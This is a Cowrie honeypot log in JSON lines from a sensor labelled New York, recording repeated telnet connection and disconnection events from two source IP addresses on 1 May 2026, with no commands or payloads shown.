{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35034,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ca99496f4f8","protocol":"telnet","message":"New connection: 208.115.200.90:35034 (10.17.0.5:23) [session: 6ca99496f4f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.363577Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35044,"dst_ip":"10.17.0.5","dst_port":23,"session":"96f942d11ae2","protocol":"telnet","message":"New connection: 208.115.200.90:35044 (10.17.0.5:23) [session: 96f942d11ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.376635Z"}
{"eventid":"cowrie.session.closed","duration":31.398906469345093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.435244Z","src_ip":"208.115.219.122","session":"05c222ac4606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15033984184265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.448426Z","src_ip":"208.115.200.90","session":"1c1e3dbb9882","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35066,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f46a93b5cd6","protocol":"telnet","message":"New connection: 208.115.200.90:35066 (10.17.0.5:23) [session: 3f46a93b5cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.496677Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35078,"dst_ip":"10.17.0.5","dst_port":23,"session":"586d0360d403","protocol":"telnet","message":"New connection: 208.115.200.90:35078 (10.17.0.5:23) [session: 586d0360d403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.530036Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50890,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5c56ee47b5c","protocol":"telnet","message":"New connection: 208.115.219.122:50890 (10.17.0.5:23) [session: a5c56ee47b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.706533Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50916,"dst_ip":"10.17.0.5","dst_port":23,"session":"11c189bf62af","protocol":"telnet","message":"New connection: 208.115.219.122:50916 (10.17.0.5:23) [session: 11c189bf62af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:07.844013Z"}
{"eventid":"cowrie.session.closed","duration":30.539061069488525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.015427Z","src_ip":"208.115.219.122","session":"c1c68fb1097e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796476125717163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.027973Z","src_ip":"208.115.219.122","session":"da6bc36bb59c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950506925582886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.034135Z","src_ip":"208.115.219.122","session":"6ae8802acc32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35084,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4de8101f9ac","protocol":"telnet","message":"New connection: 208.115.200.90:35084 (10.17.0.5:23) [session: e4de8101f9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.083609Z"}
{"eventid":"cowrie.session.closed","duration":30.86850333213806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.114255Z","src_ip":"208.115.200.90","session":"794027169ede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109913110733032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.142968Z","src_ip":"208.115.219.122","session":"43afb0932490","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50928,"dst_ip":"10.17.0.5","dst_port":23,"session":"8efc84114430","protocol":"telnet","message":"New connection: 208.115.219.122:50928 (10.17.0.5:23) [session: 8efc84114430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.178128Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35098,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e73a46aa025","protocol":"telnet","message":"New connection: 208.115.200.90:35098 (10.17.0.5:23) [session: 9e73a46aa025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.183625Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35108,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c1ef7e4ceb3","protocol":"telnet","message":"New connection: 208.115.200.90:35108 (10.17.0.5:23) [session: 1c1ef7e4ceb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.204458Z"}
{"eventid":"cowrie.session.closed","duration":30.61597514152527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.349014Z","src_ip":"208.115.200.90","session":"30bc7de6fcc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50518,"dst_ip":"10.17.0.5","dst_port":23,"session":"20414fa6e237","protocol":"telnet","message":"New connection: 208.115.219.122:50518 (10.17.0.5:23) [session: 20414fa6e237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.409762Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35152,"dst_ip":"10.17.0.5","dst_port":23,"session":"625531e9ce8e","protocol":"telnet","message":"New connection: 208.115.200.90:35152 (10.17.0.5:23) [session: 625531e9ce8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.471888Z"}
{"eventid":"cowrie.session.closed","duration":31.437159776687622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.505679Z","src_ip":"208.115.200.90","session":"903c13cd16bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43678331375122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.511069Z","src_ip":"208.115.200.90","session":"47eaacf72033","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.647289752960205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:08.775939Z","src_ip":"208.115.219.122","session":"aad343d47b12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.799668788909912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.018353Z","src_ip":"208.115.219.122","session":"6ecd994e1878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63150930404663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.024547Z","src_ip":"208.115.219.122","session":"204dd45fa906","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50960,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c31d0f3e8b3","protocol":"telnet","message":"New connection: 208.115.219.122:50960 (10.17.0.5:23) [session: 2c31d0f3e8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.041203Z"}
{"eventid":"cowrie.session.closed","duration":30.793620347976685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.091848Z","src_ip":"208.115.219.122","session":"d402a13857e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43529987335205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.135954Z","src_ip":"208.115.200.90","session":"2fb1cd1e4e3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05267643928528,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.145578Z","src_ip":"208.115.219.122","session":"fd73bc0452e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2175714969635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.291615Z","src_ip":"208.115.200.90","session":"41d1924e92e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35444,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5dcda5e1482","protocol":"telnet","message":"New connection: 208.115.200.90:35444 (10.17.0.5:23) [session: a5dcda5e1482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.307488Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35442,"dst_ip":"10.17.0.5","dst_port":23,"session":"a90ec6633090","protocol":"telnet","message":"New connection: 208.115.200.90:35442 (10.17.0.5:23) [session: a90ec6633090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.312397Z"}
{"eventid":"cowrie.session.closed","duration":31.089601516723633,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.343946Z","src_ip":"208.115.200.90","session":"76664c2606d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8900089263916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.351311Z","src_ip":"208.115.200.90","session":"05f5ca77138a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35572,"dst_ip":"10.17.0.5","dst_port":23,"session":"5744ce4f2cfa","protocol":"telnet","message":"New connection: 208.115.200.90:35572 (10.17.0.5:23) [session: 5744ce4f2cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.463248Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35618,"dst_ip":"10.17.0.5","dst_port":23,"session":"9158980e8a46","protocol":"telnet","message":"New connection: 208.115.200.90:35618 (10.17.0.5:23) [session: 9158980e8a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.506120Z"}
{"eventid":"cowrie.session.closed","duration":31.557280778884888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.603539Z","src_ip":"208.115.219.122","session":"52274da7b7c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51156,"dst_ip":"10.17.0.5","dst_port":23,"session":"e661b799af67","protocol":"telnet","message":"New connection: 208.115.219.122:51156 (10.17.0.5:23) [session: e661b799af67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.785749Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36062,"dst_ip":"10.17.0.5","dst_port":23,"session":"265bcd7c4f83","protocol":"telnet","message":"New connection: 208.115.200.90:36062 (10.17.0.5:23) [session: 265bcd7c4f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:09.980050Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51270,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebc4388d1799","protocol":"telnet","message":"New connection: 208.115.219.122:51270 (10.17.0.5:23) [session: ebc4388d1799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.029046Z"}
{"eventid":"cowrie.session.closed","duration":30.68570327758789,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.035032Z","src_ip":"208.115.219.122","session":"8b618816b294","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.000030755996704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.038901Z","src_ip":"208.115.219.122","session":"8bebd42ec028","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.261496543884277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.047068Z","src_ip":"208.115.219.122","session":"37bea2ef3ebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51276,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc12f68f58b7","protocol":"telnet","message":"New connection: 208.115.219.122:51276 (10.17.0.5:23) [session: cc12f68f58b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.052868Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36082,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3b83e91ce43","protocol":"telnet","message":"New connection: 208.115.200.90:36082 (10.17.0.5:23) [session: d3b83e91ce43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.056720Z"}
{"eventid":"cowrie.session.closed","duration":30.742263317108154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.140186Z","src_ip":"208.115.219.122","session":"cbbfef3e7ee0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06944727897644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.168018Z","src_ip":"208.115.219.122","session":"6f08a9112d69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.843578815460205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.198351Z","src_ip":"208.115.219.122","session":"76221729693c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58064556121826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.214874Z","src_ip":"208.115.200.90","session":"d6c00c0eb2f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36094,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d1a457be59f","protocol":"telnet","message":"New connection: 208.115.200.90:36094 (10.17.0.5:23) [session: 3d1a457be59f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.284507Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36114,"dst_ip":"10.17.0.5","dst_port":23,"session":"a02d6bf440d3","protocol":"telnet","message":"New connection: 208.115.200.90:36114 (10.17.0.5:23) [session: a02d6bf440d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.366581Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36132,"dst_ip":"10.17.0.5","dst_port":23,"session":"35bdccd99185","protocol":"telnet","message":"New connection: 208.115.200.90:36132 (10.17.0.5:23) [session: 35bdccd99185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.426011Z"}
{"eventid":"cowrie.session.closed","duration":30.66148018836975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.499843Z","src_ip":"208.115.200.90","session":"2ede28b6946b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.858142137527466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:10.903652Z","src_ip":"208.115.219.122","session":"0db991ce0c31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.287124156951904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:11.013841Z","src_ip":"208.115.219.122","session":"4f6bc394163e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.813059329986572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:11.029784Z","src_ip":"208.115.219.122","session":"332f495a17f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51380,"dst_ip":"10.17.0.5","dst_port":23,"session":"46476fd1e742","protocol":"telnet","message":"New connection: 208.115.219.122:51380 (10.17.0.5:23) [session: 46476fd1e742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:11.057913Z"}
{"eventid":"cowrie.session.closed","duration":30.94199228286743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:11.066130Z","src_ip":"208.115.200.90","session":"e7ff6fecdbfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.726558208465576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:11.076558Z","src_ip":"208.115.219.122","session":"8f39c34d6fef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51382,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea7eb88f3676","protocol":"telnet","message":"New connection: 208.115.219.122:51382 (10.17.0.5:23) [session: ea7eb88f3676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:11.186482Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36596,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4e567214be3","protocol":"telnet","message":"New connection: 208.115.200.90:36596 (10.17.0.5:23) [session: e4e567214be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:11.294380Z"}
{"eventid":"cowrie.session.closed","duration":30.393008708953857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:11.319144Z","src_ip":"208.115.200.90","session":"8e026abf8ec9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28795051574707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:11.325230Z","src_ip":"208.115.219.122","session":"4cf77da91545","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36600,"dst_ip":"10.17.0.5","dst_port":23,"session":"b00fd888ab8a","protocol":"telnet","message":"New connection: 208.115.200.90:36600 (10.17.0.5:23) [session: b00fd888ab8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:11.352265Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36696,"dst_ip":"10.17.0.5","dst_port":23,"session":"f77e70ee31cb","protocol":"telnet","message":"New connection: 208.115.200.90:36696 (10.17.0.5:23) [session: f77e70ee31cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:11.486322Z"}
{"eventid":"cowrie.session.closed","duration":31.625205993652344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:11.682761Z","src_ip":"208.115.200.90","session":"89438f31233a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37136,"dst_ip":"10.17.0.5","dst_port":23,"session":"10386ac922d5","protocol":"telnet","message":"New connection: 208.115.200.90:37136 (10.17.0.5:23) [session: 10386ac922d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:11.979948Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51422,"dst_ip":"10.17.0.5","dst_port":23,"session":"11a6d78e2b5d","protocol":"telnet","message":"New connection: 208.115.219.122:51422 (10.17.0.5:23) [session: 11a6d78e2b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.026578Z"}
{"eventid":"cowrie.session.closed","duration":30.938297748565674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.052615Z","src_ip":"208.115.219.122","session":"045831b418cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893560647964478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.057832Z","src_ip":"208.115.219.122","session":"8b827163615e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73878526687622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.064748Z","src_ip":"208.115.219.122","session":"d8444b834738","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.531430959701538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.071421Z","src_ip":"208.115.200.90","session":"917f108a0e49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.062243461608887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.078300Z","src_ip":"208.115.200.90","session":"08e8676e4cc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":35388,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f4cf18cb019","protocol":"telnet","message":"New connection: 208.115.200.90:35388 (10.17.0.5:23) [session: 2f4cf18cb019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.105839Z"}
{"eventid":"cowrie.session.closed","duration":31.170109510421753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.200537Z","src_ip":"208.115.200.90","session":"fe43900c0198","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.526716709136963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.230077Z","src_ip":"208.115.200.90","session":"63ca7a453553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37170,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7fb63a69a04","protocol":"telnet","message":"New connection: 208.115.200.90:37170 (10.17.0.5:23) [session: b7fb63a69a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.238463Z"}
{"eventid":"cowrie.session.closed","duration":31.166513681411743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.311487Z","src_ip":"208.115.219.122","session":"953a1d770f25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37182,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a41eb80f04e","protocol":"telnet","message":"New connection: 208.115.200.90:37182 (10.17.0.5:23) [session: 9a41eb80f04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.326988Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37188,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8c87c557ec8","protocol":"telnet","message":"New connection: 208.115.200.90:37188 (10.17.0.5:23) [session: e8c87c557ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.361202Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51446,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5927d8960c1","protocol":"telnet","message":"New connection: 208.115.219.122:51446 (10.17.0.5:23) [session: c5927d8960c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.513994Z"}
{"eventid":"cowrie.session.closed","duration":31.38453507423401,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:12.749078Z","src_ip":"208.115.200.90","session":"2c993fe9bda7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.775885105133057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:13.024938Z","src_ip":"208.115.219.122","session":"dcc52c05a7cf","protocol":"telnet"}
